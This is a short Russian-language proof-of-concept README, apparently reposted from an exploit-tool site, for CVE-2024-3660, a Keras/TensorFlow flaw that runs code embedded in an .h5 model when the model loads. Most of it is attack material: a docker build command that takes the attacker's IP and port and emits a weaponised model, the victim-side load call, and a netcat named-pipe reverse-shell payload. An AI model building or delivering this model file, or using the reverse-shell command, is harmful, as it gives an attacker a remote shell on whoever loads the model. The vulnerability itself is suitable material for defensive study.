CVE-2024-3660 – Выполнение произвольного кода в TensorFlow Keras через вредоносную модель

Обзор

CVE-2024-3660 – это уязвимость выполнения произвольного кода в фреймворке Keras библиотеки TensorFlow, затрагивающая версии < 2.13.
Она позволяет злоумышленнику внедрить код Python внутрь модели (например, через слой Lambda), который выполняется автоматически при загрузке модели.

При загрузке вредоносного файла модели .h5 в уязвимом окружении выполняются произвольные команды с теми же правами, что и у загружающего процесса.

Затронутые версии

• Keras из состава TensorFlow < 2.13.0
• Модели Keras, загружаемые с помощью:
  root@kitploit:~

  tf.keras.models.load_model("CVE20243660.h5", compile=False)
  

или в старых версиях TensorFlow, где safe_mode не включён по умолчанию.

Описание PoC

Этот PoC использует сборку на основе Docker для генерации вредоносной модели hack.h5, содержащей полезную нагрузку reverse shell. При загрузке модели в уязвимой версии TensorFlow она устанавливает обратное соединение с машиной атакующего.

Использование

1. Сборка и извлечение вредоносной модели

docker buildx build \
  --platform linux/amd64 \
  --build-arg LHOST=<YOUR-IP> \
  --build-arg LPORT=<YOUR-PORT> \
  -t tfimg . && \
container_id=$(docker create tfimg) && \
docker cp $container_id:/CVE20243660/CVE20243660.h5 ./CVE20243660.h5 && \
docker rm $container_id

2. Загрузка вредоносной модели (на стороне жертвы)

• В уязвимом окружении TensorFlow (< 2.13):

import tensorflow as tf
model = tf.keras.models.load_model("CVE20243660.h5", compile=False)

Полезная нагрузка

• Встроенная полезная нагрузка использует nc для reverse shell:

rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f

Ссылки

NVD CMU Oligo Secuirty